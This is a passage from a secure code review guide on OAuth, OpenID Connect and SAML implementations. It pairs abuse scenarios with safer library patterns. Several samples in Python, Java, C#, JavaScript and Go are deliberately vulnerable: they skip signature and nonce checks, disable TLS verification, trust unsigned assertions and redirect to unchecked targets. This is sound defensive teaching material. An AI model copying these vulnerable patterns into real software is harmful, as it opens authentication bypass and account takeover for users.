        ["grant_type"] = "authorization_code",
        ["code"] = code,
        ["client_id"] = _config["OAuth:ClientId"],
        ["redirect_uri"] = Request.Query["returnUrl"], // attacker-controlled redirect
    }));
    var json = await token.Response.Content.ReadFromJsonAsync<TokenResponse>();
    Response.Cookies.Append("refresh_token", json.RefreshToken); // not HttpOnly
    return Redirect("/");
}
```

JavaScript

```
// SPA: implicit-style token in fragment or localStorage
function startLogin() {
    const url = `${AUTH}/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=${
    REDIRECT}`;
    window.location = url;
}

function handleCallback() {
    const hash = new URLSearchParams(window.location.hash.slice(1));
    localStorage.setItem("access_token", hash.get("access_token"));
}
```

Go

```
func callback(w http.ResponseWriter, r *http.Request) {
    code := r.URL.Query().Get("code")
    // No state check; redirect URI built from Host header
    redirectURI := "https://" + r.Host + "/callback"
    resp, _ := http.PostForm(tokenURL, url.Values{
        "grant_type": {"authorization_code"},
        "code":       {code},
        "client_id":  {clientID},
        "redirect_uri": {redirectURI},
    })
    var tok tokenResponse
    json.NewDecoder(resp.Body).Decode(&tok)
    http.SetCookie(w, &http.Cookie{Name: "access_token", Value: tok.AccessToken})
}
```

Fix: Safer Patterns and Libraries to Use

Python

Use Authlib or a maintained OAuth client with PKCE and state built in. Keep client secrets server-side only.

```

from authlib.integrations.flask_client import OAuth
import secrets
import hashlib
import base64

oauth = OAuth(app)
oauth.register(
    name="idp",
    client_id=os.environ["OAUTH_CLIENT_ID"],
    client_secret=os.environ["OAUTH_CLIENT_SECRET"],
    server_metadata_url="https://idp.example.com/.well-known/openid-configuration",
    client_kwargs={"scope": "openid profile email"},
)

@app.route("/login")
def login():
    verifier = secrets.token_urlsafe(64)
    session["oauth_verifier"] = verifier
    session["oauth_state"] = secrets.token_urlsafe(32)
    challenge = base64.urlsafe_b64encode(
        hashlib.sha256(verifier.encode()).digest()
    ).rstrip(b"=").decode()
    return oauth.idp.authorize_redirect(
        redirect_uri="https://app.example.com/oauth/callback",
        state=session["oauth_state"],
        code_challenge=challenge,
        code_challenge_method="S256",
    )

@app.route("/oauth/callback")
def oauth_callback():
    if request.args.get("state") != session.pop("oauth_state", None):
        abort(403)
    token = oauth.idp.authorize_access_token(code_verifier=session.pop("oauth_verifier"))
    session["access_token"] = token["access_token"] # prefer server-side session only
    return redirect("/dashboard")

```

Important: Register one exact redirect URI per environment. Never expose `client_secret` in SPA or mobile binaries; use PKCE instead.

Java

Use Spring Security OAuth2 Client with authorization code and PKCE for public clients.

```

spring.security.oauth2.client.registration.idp.client-id=${OAUTH_CLIENT_ID}
spring.security.oauth2.client.registration.idp.client-secret=${OAUTH_CLIENT_SECRET}
spring.security.oauth2.client.registration.idp.authorization-grant-type=authorization_code
spring.security.oauth2.client.registration.idp.redirect-uri=https://app.example.com/login/oauth2/
code/idp
spring.security.oauth2.client.registration.idp.scope=openid,profile
spring.security.oauth2.client.provider.idp.issuer-uri=https://idp.example.com

```



```

http.oauth2Login(oauth -> oauth
    .authorizationEndpoint(auth -> auth.authorizationRequestResolver(pkceResolver))
    .successHandler((request, response, authentication) -> {
        OAuth2AuthorizedClient client = authorizedClientService.loadAuthorizedClient(
            "idp", authentication.getName());
        // Use token server-side; do not echo refresh token to browser
    }));

```

Important: Validate redirect URIs in the authorization server with exact match. Enable refresh token rotation when the provider supports it.

C

Use `AddOpenIdConnect` or `AddOAuth` with authorization code and PKCE for public clients.

```

services.AddAuthentication(options =>
{
    options.DefaultScheme = CookieAuthenticationDefaults.AuthenticationScheme;
    options.DefaultChallengeScheme = OpenIdConnectDefaults.AuthenticationScheme;
})
.AddCookie(options =>
{
    options.Cookie.HttpOnly = true;
    options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
})
.AddOpenIdConnect(options =>
{
    options.Authority = "https://idp.example.com";
    options.ClientId = Configuration["OAuth:ClientId"];
    options.ClientSecret = Configuration["OAuth:ClientSecret"];
    options.ResponseType = OpenIdConnectResponseType.Code;
    options.UsePkce = true;
    options.SaveTokens = true;
    options.CallbackPath = "/signin-oidc";
    options.CorrelationCookie.SecurePolicy = CookieSecurePolicy.Always;
});

```

Important: `SaveTokens = true` stores tokens in the auth cookie payload—ensure cookie encryption and short lifetimes. Prefer downstream API calls from the server using token cache, not browser storage.

Go

Use `golang.org/x/oauth2` with PKCE via `oauth2.GenerateVerifier` and `S256ChallengeFromVerifier`.

```
import "golang.org/x/oauth2"

var oauthConfig = &oauth2.Config{
    ClientID:     os.Getenv("OAUTH_CLIENT_ID"),
    ClientSecret: os.Getenv("OAUTH_CLIENT_SECRET"),
    RedirectURL:  "https://app.example.com/oauth/callback",
    Scopes:       []string{"openid", "profile"},
    Endpoint:     oauth2.Endpoint{
        AuthURL:  "https://idp.example.com/oauth/authorize",
        TokenURL: "https://idp.example.com/oauth/token",
    },
}

func login(w http.ResponseWriter, r *http.Request) {
    state := secureRandomString(32)
    verifier := oauth2.GenerateVerifier()
    http.SetCookie(w, &http.Cookie{Name: "oauth_state", Value: state, HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode})
    http.SetCookie(w, &http.Cookie{Name: "pkce_verifier", Value: verifier, HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode})
    url := oauthConfig.AuthCodeURL(state, oauth2.S256ChallengeOption(verifier))
    http.Redirect(w, r, url, http.StatusFound)
}
```

Important: Read state and PKCE verifier from HttpOnly cookies on callback. Use `oauth2.ReuseTokenSource` with secure server-side storage for refresh tokens.

Verify During Review

- Browser and mobile clients use **authorization code with PKCE**, not implicit grant or password grant.
- **Redirect URIs** are registered with exact match; callback handlers never trust client-supplied redirect values.
- **State** is generated per login, stored server-side, and validated before token exchange.
- Confidential clients **authenticate at the token endpoint**; public clients rely on PKCE, not embedded secrets.
- **Tokens** are not in URLs, local storage, or logs; refresh tokens rotate and clear on logout.
- Token and authorize HTTP calls use **TLS with certificate verification** enabled.

Reference

- [RFC 6749: OAuth 2.0 Authorization Framework](#)
- [RFC 7636: PKCE](#)
- [OAuth 2.0 Security Best Current Practice](#)
- [OAuth 2.0 for Browser-Based Apps](#)
- [OAuth.net — OAuth 2.0](#)

- [OWASP OAuth 2.0 Cheat Sheet](#)
- [Authlib documentation](#)
- [Spring Security — OAuth2 Client](#)
- [ASP.NET Core — OpenID Connect](#)
- golang.org/x/oauth2

OpenID Connect { #oidc }

From former 10-02-review-oidc-implementation.md. **Guiding chapter section:** [5.1 - Review Identity and Federation § OpenID Connect](#).

5.2 - Review OpenID Connect Implementation

OpenID Connect (OIDC) adds identity claims on top of OAuth 2.0. Review discovery document usage, authorization requests, callback handling, and every place the application trusts `id_token` or `UserInfo` responses. Confirm issuer, audience, signature, expiration, and nonce are validated before login completes.

What This Topic Is

This chapter is about **implementation review**, not generic vulnerability hunting. OIDC login is correct only when your code validates the `id_token` as a signed JWT from the expected issuer and rejects tokens meant for another client.

The unsafe assumption is that a base64-decodable `id_token` or a `UserInfo` JSON body proves identity. Attackers can replay tokens, swap issuers, or present tokens issued for a different `aud` if validation is skipped or delegated to the client without cryptography.

This aligns with [OpenID Connect Core 1.0](#) and relates to [CWE-347](#) (Improper Verification of Cryptographic Signature).

Vulnerability Characteristics (Where to Identify Them)

Signal	Where to look
Feature type	Enterprise SSO, social login, B2B federation, mobile OIDC SDK callbacks
Discovery	Hardcoded JWKS URLs, skipped <code>.well-known/openid-configuration</code> , TLS verify disabled on metadata fetch
id_token handling	Manual JWT decode without signature verify, trust UserInfo alone, missing aud/iss/exp checks
Nonce	Missing nonce on authorize request, nonce not validated against id_token claim, static nonce
Issuer binding	Accept any issuer from callback params, string contains check on iss, multi-tenant without allowlist
Audience	aud not matched to registered client_id, multiple audiences accepted without policy
UserInfo	Bearer access token sent over HTTP, UserInfo trusted when id_token already invalid or absent
Hybrid / implicit	id_token returned in URL fragment without strict validation and short lifetime

Abuse Scenarios

Use these scenarios when reviewing OIDC login, account linking, and API authorization that trusts identity claims.

Scenario 1: Forged id_token (signature not verified)

The application base64-decodes the JWT payload or calls `jwt.decode(..., verify_signature=False)`. An attacker crafts an `id_token` with `sub` of a victim admin and `email` of their choice. The app creates a session without contacting the IdP.

Scenario 2: Token replay across clients (audience mismatch)

The validator checks signature but not `aud`. An attacker obtains an `id_token` minted for a low-privilege mobile client and replays it to a high-privilege web API that accepts the same issuer.

Scenario 3: Missing nonce (session fixation)

The `authorize` request omits `nonce`. An attacker completes IdP login in their browser, then delivers their `id_token` (via hybrid flow fragment or phishing) to bind their IdP identity to the victim's application session.

Scenario 4: UserInfo as primary identity

The app skips `id_token` validation and calls `UserInfo` with any bearer token. An attacker presents a stolen API access token (wrong audience) or a token from another client with overlapping scopes.

Scenario 5: Issuer confusion (multi-tenant)

The app accepts any `iss` matching a substring or loads metadata from attacker-supplied issuer URLs in self-service tenant config. Attacker-operated IdP mints valid-looking tokens for their keys.

Scenario 6: MITM on discovery/JWKS fetch

TLS verification is disabled when fetching `.well-known/openid-configuration` or JWKS. Attacker serves attacker-controlled keys; signatures verify against wrong trust anchor.

Language-Specific Libraries and Dangerous Patterns

Python

```
# Dangerous: PyJWT decode without signature verification
from jose import jwt as jose_jwt
claims = jose_jwt.get_unverified_claims(id_token)

# Dangerous: UserInfo fetch without TLS
userinfo = httpx.get(f"{ISSUER}/userinfo", verify=False, headers={...})

# Safer: python-jose with JWKS and explicit claims
from jose import jwt as jose_jwt
from jose.backends import RSAKey
claims = jose_jwt.decode(
    id_token, key=jwks[header["kid"]], algorithms=["RS256"],
    audience=CLIENT_ID, issuer=ISSUER,
    options={"verify_at_hash": True},
)
if claims.get("nonce") != session.pop("oidc_nonce"):
    abort(403)
```

Also review: `authlib parse_id_token`, `python-jose` without issuer/audience, manual JWKS fetch without kid rotation handling.

Java

```
// Dangerous: parse without validation
SignedJWT.parse(raw).getJWTClaimsSet();

// Safer: Nimbus IDTokenValidator or Spring OAuth2 Login (issuer-uri)
IDTokenValidator validator = new IDTokenValidator(
    new Issuer("https://idp.example.com"), new ClientID("web-app"),
    JWSAlgorithm.RS256, jwkSource);
IDTokenClaimsSet claims = validator.validate(idToken, nonce);
```

Also review: `jjwt` without `requireIssuer`, `Spring @AuthenticationPrincipal` `oidcUser` bypassed by custom parsers.

C

```
// Dangerous
var token = handler.ReadJwtToken(id_token);

// Safer: AddOpenIdConnect middleware + TokenValidationParameters
options.Authority = "https://idp.example.com";
options.TokenValidationParameters.ValidateAudience = true;
options.TokenValidationParameters.ValidAudience = clientId;
```

Also review: `Microsoft.IdentityModel.Protocols.OpenIdConnect`, `MSAL ValidateAuthority`.

JavaScript

```
// Dangerous: client-side id_token parsing
const payload = JSON.parse(atob(idToken.split('.')[1]));

// Safer: openid-client on backend BFF only
import { Issuer, generators } from 'openid-client';
const client = await Issuer.discover(ISSUER);
const params = client.callbackParams(req);
const tokenSet = await client.callback(REDIRECT_URI, params, { nonce, state });
const claims = tokenSet.claims();
```

Also review: `passport-openidconnect`, `NextAuth.js` `callbacks.jwt`, SPA implicit flow with fragment `id_token`.

Go

```
// Dangerous
token, _, _ := new(jwt.Parser).ParseUnverified(rawIDToken, jwt.MapClaims{})

// Safer: coreos/go-oidc
provider, _ := oidc.NewProvider(ctx, "https://idp.example.com")
verifier := provider.Verifier(&oidc.Config{ClientID: clientID})
idToken, err := verifier.Verify(ctx, rawIDToken)
```

See [python-jose documentation](#), [openid-client](#), [Nimbus OIDC SDK](#), [Microsoft.IdentityModel](#), and [coreos/go-oidc](#).

Sample Vulnerable Code in Python

```
import httpx
from jose import jwt as jose_jwt
from flask import Flask, request, session, redirect, abort

app = Flask(__name__)
CLIENT_ID = "web-app"
ISSUER = "https://idp.example.com"

@app.route("/oidc/callback")
def oidc_callback():
    id_token = request.args.get("id_token") or session.get("id_token")
    # Signature not verified; attacker forges sub and email
    claims = jose_jwt.get_unverified_claims(id_token)
    # Issuer and audience checks missing; nonce not compared
    session["user_id"] = claims["sub"]
    session["email"] = claims.get("email")
    # UserInfo used as primary identity without binding to validated id_token
    userinfo = httpx.get(
        f"{ISSUER}/userinfo",
        headers={"Authorization": f"Bearer {session.get('access_token')}"},
        verify=False,
    ).json()
    session["name"] = userinfo.get("name")
    return redirect("/home")
```

Step-by-Step Review Walkthrough

1. **Confirm OIDC discovery.** The client should load issuer metadata from /.well-known/openid-configuration and cache issuer, jwks_uri, and endpoints with TLS verification enabled.
2. **Trace the authorize request.** For code flow, include scope=openid, random state, PKCE for public clients, and nonce stored server-side until callback.

3. **Review id_token validation.** Verify signature with keys from JWKS (kid match), check iss equals expected issuer, and contains your client_id, exp/iat within skew, and nonce matches the authorize request.
4. **Inspect token source.** Reject relying on id_token passed only in JavaScript-accessible storage. Prefer code flow where the server exchanges the code and validates tokens server-side.
5. **Evaluate UserInfo usage.** UserInfo supplements claims; it does not replace id_token validation. Confirm access token is sent over HTTPS and scopes cover requested attributes.
6. **Check account linking.** Map sub + iss as the stable external identity key. Do not key accounts on email alone when email is not verified in claims.
7. **Review logout and session fixation.** End-session endpoints should clear local session; new login must issue fresh state and nonce.

Risk Impact Analysis

Authentication bypass. Forged or swapped id_token payloads let attackers sign in as arbitrary users without valid IdP credentials.

Cross-client token replay. Accepting tokens with wrong aud allows reuse of tokens minted for another OAuth client.

Session fixation and CSRF. Missing nonce or state binds the wrong IdP authentication event to the victim application session.

Identity confusion. Trusting unverified email or UserInfo fields enables account takeover when attackers control IdP attributes or MITM metadata.

Tenant crossover. Weak issuer allowlists in multi-tenant SaaS may accept tokens from another customer's IdP configuration.

Vulnerable Examples in Other Languages

Java

```
@GetMapping("/login/oauth2/code/idp")
public String callback(@AuthenticationPrincipal OidcUser user) {
    // Custom parser bypasses Spring's validator
    String raw = (String) user.getIdToken().getTokenValue();
    SignedJWT jwt = SignedJWT.parse(raw);
    JWTClaimsSet claims = jwt.getJWTClaimsSet();
    // No explicit iss/aud/nonce verification in custom path
    accountService.link(claims.getSubject(), claims.getStringClaim("email"));
    return "redirect:/app";
}
```


C

```
public async Task<IActionResult> Callback(string id_token)
{
    var handler = new JwtSecurityTokenHandler();
    var token = handler.ReadJwtToken(id_token);
    // ReadJwtToken does not validate signature or issuer
    var sub = token.Claims.First(c => c.Type == "sub").Value;
    await SignInUser(sub, token.Claims.First(c => c.Type == "email").Value);
    return Redirect("/");
}
```

JavaScript

```
function handleOidcCallback() {
    const params = new URLSearchParams(window.location.hash.slice(1));
    const idToken = params.get("id_token");
    const payload = JSON.parse(atob(idToken.split(".")[1]));
    // No signature, iss, aud, or nonce validation in browser
    setUser({ id: payload.sub, email: payload.email });
}
```

Go

```
func oidcCallback(w http.ResponseWriter, r *http.Request) {
    rawIDToken := r.URL.Query().Get("id_token")
    token, _, _ := new(jwt.Parser).ParseUnverified(rawIDToken, jwt.MapClaims{})
    claims := token.Claims.(jwt.MapClaims)
    // nonce and aud not checked
    setSession(w, claims["sub"].(string))
}
```

Fix: Safer Patterns and Libraries to Use

Python

Use `python-jose` with issuer JWKS and explicit claim requirements—not unverified payload reads.

```

import httpx
from jose import jwt as jose_jwt
from jose.utils import base64url_decode
from jose.backends import RSAKey

def load_jwk_for_token(id_token: str, jwks: dict) -> RSAKey:
    header = jose_jwt.get_unverified_header(id_token)
    key_data = next(k for k in jwks["keys"] if k["kid"] == header["kid"])
    return RSAKey(key_data, header.get("alg", "RS256"))

@app.route("/oidc/callback")
def oidc_callback():
    id_token = session.pop("id_token_from_code_exchange")
    claims = jose_jwt.decode(
        id_token,
        key=load_jwk_for_token(id_token, fetch_jwks(ISSUER)),
        algorithms=["RS256"],
        audience=CLIENT_ID,
        issuer=ISSUER,
    )
    if claims.get("nonce") != session.pop("oidc_nonce"):
        abort(403)
    session["sub"] = claims["sub"]
    return redirect("/home")

```

Important: Never call `get_unverified_claims` on login paths. Exchange the authorization code server-side, then validate the returned `id_token` before creating a session.

Java

Rely on Spring Security OAuth2 Login with issuer-based configuration, or validate with Nimbus IDTokenValidator.

```

@Bean
SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    http.oauth2Login(oauth -> oauth
        .userInfoEndpoint(user -> user.oidcUserService(oidcUserService()))
    );
    return http.build();
}

// application.yml
// spring.security.oauth2.client.provider.idp.issuer-uri=https://idp.example.com

```

```
IDTokenValidator validator = new IDTokenValidator(
    new Issuer("https://idp.example.com"),
    new ClientID("web-app"),
    JWSAlgorithm.RS256,
    jwkSource);
IDTokenClaimsSet claims = validator.validate(idToken, expectedNonce);
```

Important: Keep issuer-uri as the single source of truth. Custom JWT parsing should duplicate all required OIDC checks, not skip them.

C

Configure Microsoft.Identity.Web or OpenID Connect middleware with authority and token validation.

```
services.AddMicrosoftIdentityWebAppAuthentication(Configuration, "AzureAd");

// Or explicit OpenIdConnect with TokenValidationParameters:
services.AddAuthentication(options =>
{
    options.DefaultScheme = CookieAuthenticationDefaults.AuthenticationScheme;
    options.DefaultChallengeScheme = OpenIdConnectDefaults.AuthenticationScheme;
})
.AddOpenIdConnect(options =>
{
    options.Authority = "https://idp.example.com";
    options.ClientId = Configuration["Oidc:ClientId"];
    options.ClientSecret = Configuration["Oidc:ClientSecret"];
    options.ResponseType = OpenIdConnectResponseType.Code;
    options.UsePkce = true;
    options.SaveTokens = false;
    options.GetClaimsFromUserInfoEndpoint = true;
    options.TokenValidationParameters = new TokenValidationParameters
    {
        ValidateIssuer = true,
        ValidIssuer = "https://idp.example.com",
        ValidateAudience = true,
        ValidAudience = Configuration["Oidc:ClientId"],
        ValidateLifetime = true,
        NameClaimType = "name",
    };
});
```

Important: Authority drives metadata and signing keys. Do not disable issuer or audience validation to fix local dev issues in production builds.

Go

Use coreos/go-oidc for provider discovery and ID token verification.

```

import "github.com/coreos/go-oidc/v3/oidc"

provider, _ := oidc.NewProvider(ctx, "https://idp.example.com")
verifier := provider.Verifier(&oidc.Config{ClientID: os.Getenv("OIDC_CLIENT_ID")})

func callback(w http.ResponseWriter, r *http.Request) {
    oauth2Token, _ := oauthConfig.Exchange(ctx, r.URL.Query().Get("code"))
    rawIDToken, ok := oauth2Token.Extra("id_token").(string)
    if !ok {
        http.Error(w, "missing id_token", http.StatusUnauthorized)
        return
    }
    idToken, err := verifier.Verify(ctx, rawIDToken)
    if err != nil {
        http.Error(w, "invalid id_token", http.StatusUnauthorized)
        return
    }
    if idToken.Nonce != expectedNonce {
        http.Error(w, "invalid nonce", http.StatusUnauthorized)
        return
    }
    var claims struct{ Sub string `json:"sub"` }
    idToken.Claims(&claims)
}

```

Important: Always verify through the provider's Verifier. Fetch UserInfo only after access token validation and prefer claims already present in the verified id_token.

Verify During Review

- Client loads **issuer metadata** from .well-known/openid-configuration with TLS verification.
- Every login validates **id_token signature**, iss, aud, exp, and **nonce** before creating a session.
- **sub** + **iss** is the external identity key; verified claims drive authorization, not raw callback parameters.
- **UserInfo** is optional enrichment; it does not replace id_token validation.
- Public clients use **code flow** + **PKCE**; tokens are not accepted from URL fragments without strict validation.
- Multi-tenant apps enforce an **issuer allowlist** per tenant or registration.

Reference

- [OpenID Connect Core 1.0](#)
- [OpenID Connect Discovery 1.0](#)
- [RFC 7519: JSON Web Token](#)
- [OAuth.net — OpenID Connect](#)
- [OWASP OAuth 2.0 Cheat Sheet](#)
- [python-jose documentation](#)

- [openid-client \(Node.js\)](#)
- [Microsoft Identity Web](#)
- [Spring Security — OAuth2 Login](#)
- [coreos/go-oidc](#)
- [coreos/go-oidc](#)

SAML federation {:#saml }

From former 10-04-review-saml-federation.md. **Guiding chapter section:** [5.1 - Review Identity and Federation § SAML federation](#).

5.4 - Review SAML Federation

SAML federation lets enterprises sign in through an Identity Provider (IdP). Review Service Provider (SP) endpoints, metadata exchange, and assertion processing code. Confirm signatures are verified with trusted keys, ACS URLs are bound, assertions are replay-protected, and metadata is authenticated before trust is granted.

What This Topic Is

This chapter is about **implementation review**, not generic vulnerability hunting. SAML security depends on XML signature validation, strict endpoint binding, and one-time use of assertions—not on trusting decoded XML fields after parsing.

The unsafe assumption is that a POST to the Assertion Consumer Service (ACS) URL contains a legitimate IdP response because it arrived over HTTPS. Attackers can forge assertions, replay captured responses, or swap metadata if signature verification and recipient checks are skipped.

This relates to [CWE-347](#) and [CWE-294](#) (Authentication Bypass by Capture-replay).

Vulnerability Characteristics (Where to Identify Them)

Signal	Where to look
Feature type	Enterprise SSO, B2B federation, legacy Java/.NET portals, cloud app SAML connectors
Signature validation	wantAssertionsSigned false, signature optional, verify response but not assertion
Certificate trust	IdP cert embedded without expiry check, metadata fetched over HTTP, thumbprint string match only
ACS URL / Recipient	Missing Recipient/Destination validation, dynamic ACS from request param, wildcard ACS in metadata
Replay controls	No InResponseTo check, assertion ID not tracked, clock skew unbounded
Conditions	NotOnOrAfter ignored, AudienceRestriction missing or not matched to SP entity ID
XML processing	XXE-enabled parsers, external DTD allowed—see 4.3 Review Parsers § XXE
Metadata exchange	Unsigned metadata trusted, SP uploads attacker IdP metadata in self-service config

Abuse Scenarios

Use these when reviewing SAML SP endpoints, metadata upload flows, and assertion processing.

Scenario 1: Unsigned assertion acceptance

The SP parses SAML XML and extracts NameID without XML signature validation. An attacker POSTs a crafted SAMLResponse to the ACS URL and logs in as any user.

Scenario 2: Assertion replay

A captured legitimate SAMLResponse is replayed within NotOnOrAfter. The SP does not track assertion IDs or InResponseTo, so the same response grants access repeatedly or on another victim session.

Scenario 3: Wrong recipient / ACS URL

The SP accepts assertions whose Destination or Recipient does not match the registered ACS URL. Attacker replays assertions intended for a different SP instance or environment.

Scenario 4: Audience mismatch ignored

AudienceRestriction is missing or not compared to SP entity ID. Assertions minted for a staging SP work against production.

Scenario 5: Malicious IdP metadata import

Self-service tenant onboarding accepts arbitrary metadata URLs. Attacker supplies metadata pointing to attacker IdP; users authenticate against attacker-controlled keys.

Scenario 6: Open redirect via RelayState

After login, the SP redirects to unvalidated RelayState. Attacker phishes victims through a trusted domain to an external site or steals tokens from URL parameters.

Language-Specific Libraries and Dangerous Patterns

Python

```
# Dangerous: manual XML parse without signature
name_id = parse_nameid_from_xml(base64.b64decode(SAMLResponse))

# Safer: python3-saml with strict settings
from onelogin.saml2.auth import OneLogin_Saml2_Auth
auth = OneLogin_Saml2_Auth(request_data, old_settings=settings)
auth.process_response()
if not auth.is_authenticated() or auth.get_errors():
    abort(403)
```

Settings must include `strict: True`, `wantAssertionsSigned: True`, and trusted IdP cert from reviewed metadata.

Java

```
// Dangerous: DOM parse NameID only
DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(stream);

// Safer: Spring Security SAML2 Service Provider
http.saml2Login(Customizer.withDefaults());
//
RelyingPartyRegistration.fromMetadataLocation(...).entityId(...).assertionConsumerServiceLocation(...)
```

Also review: OpenSAML low-level usage without validation, Pac4j SAML2Client misconfiguration, Shibboleth SP MetadataProvider accepting unsigned metadata.

C

```
// Dangerous
var response = new Response(SAMLResponse); // validate: false
var nameId = response.GetNameID();

// Safer: ITfoxtec.Identity.Saml2
var saml2AuthnResponse = new Saml2AuthnResponse(config);
saml2AuthnResponse.ReadSamlResponse(Request, validate: true);
```

Also review: [Sustainsys.Saml2](#), [Azure AD SAML integration defaults](#).

JavaScript

```
// Dangerous: regex extract NameID
const nameID = xml.match(/<NameID[^>]*>([^\<]+)<\/NameID>/)[1];

// Safer: @node-saml/node-saml or samlify with cert and audience checks
const { SAML } = require('@node-saml/node-saml');
const profile = await saml.validatePostResponseAsync(body);
```

Go

```
// Dangerous
nameID := xmlquery.FindOne(doc, "//NameID").InnerText()

// Safer: crewjam/saml
assertion, err := sp.ParseResponse(r, []string{pendingAuthnRequestID})
```

See [OneLogin python3-saml](#), [Spring Security SAML2](#), [ITfoxtec.Identity.Saml2](#), and [crewjam/saml](#).

Sample Vulnerable Code in Python

```
from flask import Flask, request, redirect, session
from onelogin.saml2.auth import OneLogin_Saml2_Auth
import base64

app = Flask(__name__)

@app.route("/saml/acs", methods=["POST"])
def saml_acs():
    saml_response = request.form["SAMLResponse"]
    xml = base64.b64decode(saml_response)
    # Parser extracts NameID without verifying assertion signature
    name_id = parse_nameid_from_xml(xml)
    # Recipient, Audience, NotOnOrAfter, InResponseTo not enforced
    session["user"] = name_id
    relay = request.form.get("RelayState", "/")
    return redirect(relay) # open redirect via unchecked RelayState

def prepare_saml_request(req):
    return {
        "http_host": req.host,
        "script_name": req.path,
        "post_data": req.form,
        "get_data": req.args,
    }

@app.route("/saml/metadata")
def sp_metadata():
    # SP accepts any IdP metadata URL supplied by tenant admin without signature check
    idp_metadata_url = request.args["metadata"]
    load_idp_from_url(idp_metadata_url)
    return "ok"
```

Step-by-Step Review Walkthrough

1. **Map SP and IdP roles.** Locate metadata files, ACS endpoints, single logout URLs, and libraries (OneLogin python3-saml, Spring SAML, ITfoxtec, etc.).
2. **Verify assertion signatures.** Require signed assertions (or signed outer response with signed assertion). Validate with IdP certificate from trusted metadata, including expiry and key rollover.
3. **Validate ACS binding.** Confirm Destination and Recipient match the registered ACS URL exactly. Reject assertions POSTed to alternate paths or hosts.
4. **Check replay defenses.** Store used assertion IDs (ID attribute) for at least the assertion validity window. Validate InResponseTo against the outstanding AuthnRequest ID when SP-initiated.
5. **Inspect conditions.** Enforce NotBefore/NotOnOrAfter with modest clock skew. Require AudienceRestriction containing the SP entity ID.
6. **Review metadata trust.** Metadata should load from configured URLs or signed bundles—not arbitrary user URLs without review. Plan certificate rollover using metadata refresh.

7. **Harden XML parsing.** Disable DTDs and external entities on SAML parsers. Review RelayState allowlists to block open redirects after login.

Risk Impact Analysis

Authentication bypass. Accepting unsigned or wrongly signed assertions lets attackers craft arbitrary NameIDs and attribute statements.

Assertion replay. Captured SAML responses reused within validity windows grant access without fresh IdP authentication.

Wrong IdP trust. Untrusted metadata imports route logins to attacker-controlled IdPs that mint valid-looking assertions for their keys.

Account linking errors. Weak NameID policy (EmailAddress without confirmation) may merge attacker IdP identities with victim accounts.

XML-side attacks. Unsafe parsers may expose server files or SSRF via XXE before signature logic runs.

Vulnerable Examples in Other Languages

Java

```
@PostMapping("/saml/SSO")
public ResponseEntity<?> acs(@RequestParam String SAMLResponse) {
    byte[] decoded = Base64.getDecoder().decode(SAMLResponse);
    Element root = DocumentBuilderFactory.newInstance()
        .newDocumentBuilder()
        .parse(new ByteArrayInputStream(decoded))
        .getDocumentElement();
    // No XML signature validation
    String nameId = root.getElementsByTagName("NameID").item(0).getTextContent();
    securityContext.setUser(nameId);
    return ResponseEntity.status(302).header("Location", "/").build();
}
```

C

```
[HttpPost("sso")]
public IActionResult Sso([FromForm] string SAMLResponse)
{
    var response = new Response(SAMLResponse);
    // Signature validation disabled in config
    var nameId = response.GetNameID();
    await SignInAsync(nameId);
    return Redirect(Request.Form["RelayState"].ToString());
}
```

JavaScript

```
// Node SP using simplified parser
app.post("/saml/consume", (req, res) => {
    const xml = Buffer.from(req.body.SAMLResponse, "base64").toString("utf8");
    const nameID = xml.match(/<NameID[^>]*>([^\<]+)<\/NameID>/)[1];
    req.session.user = nameID;
    res.redirect(req.body.RelayState || "/");
});
```

Go

```
func acs(w http.ResponseWriter, r *http.Request) {
    samlResp := r.FormValue("SAMLResponse")
    doc, _ := xmlquery.Parse(strings.NewReader(decode(samlResp)))
    nameID := xmlquery.FindOne(doc, "//NameID").InnerText()
    // Signature, Audience, Recipient not verified
    setSession(w, nameID)
    http.Redirect(w, r, r.FormValue("RelayState"), http.StatusFound)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Use `python3-saml` with strict settings and explicit security flags.

```

from onelogin.saml2.auth import OneLogin_Saml2_Auth
from onelogin.saml2.settings import OneLogin_Saml2_Settings

settings = {
    "strict": True,
    "security": {
        "wantAssertionsSigned": True,
        "wantMessagesSigned": True,
        "rejectDeprecatedAlgorithm": True,
        "allowRepeatAttributeName": False,
    },
    "sp": {
        "entityId": "https://app.example.com/saml/metadata",
        "assertionConsumerService": {
            "url": "https://app.example.com/saml/acs",
            "binding": "urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST",
        },
    },
    "idp": {
        "entityId": "https://idp.example.com/metadata",
        "singleSignOnService": {"url": "https://idp.example.com/sso", "binding": "..."},
        "x509cert": IDP_CERT_PEM,
    },
}

@app.route("/saml/acs", methods=["POST"])
def saml_acs():
    auth = OneLogin_Saml2_Auth(prepare_request(request), old_settings=settings)
    auth.process_response()
    errors = auth.get_errors()
    if errors or not auth.is_authenticated():
        abort(403)
    if not auth.validate_timestamps():
        abort(403)
    assertion_id = auth.get_last_assertion_id()
    if replay_cache.seen(assertion_id):
        abort(403)
    replay_cache.remember(assertion_id, ttl=300)
    session["user"] = auth.get_nameid()
    return redirect(safe_relay_state(request.form.get("RelayState")))

```

Important: Keep `strict: True`. Load IdP certificates from reviewed metadata; refresh before expiry. Allowlist RelayState targets.

Java

Use Spring Security SAML2 Service Provider with verified relying party registration.

```

@Bean
RelyingPartyRegistrationRepository registrations() {
    Saml2MetadataResolver resolver = new Saml2MetadataResolver(
        "https://idp.example.com/metadata/saml2");
    RelyingPartyRegistration registration = RelyingPartyRegistrations
        .fromMetadataLocation("https://idp.example.com/metadata/saml2")
        .registrationId("corp-idp")
        .entityId("https://app.example.com/saml/metadata")
        .assertionConsumerServiceLocation("https://app.example.com/login/saml2/sso/corp-idp")
        .build();
    return new InMemoryRelyingPartyRegistrationRepository(registration);
}

http.saml2Login(saml -> saml
    .loginProcessingUrl("/login/saml2/sso/{registrationId}")
    .successHandler(validatedRelayStateHandler()));

```

Important: Spring validates signatures and audience by default when correctly configured. Do not replace with manual DOM parsing.

C

Use ITfoxtec Identity SAML2 with signature validation enabled.

```

var config = new Saml2Configuration
{
    Issuer = "https://app.example.com/saml/metadata",
    AllowedAudienceUris = { "https://app.example.com/saml/metadata" },
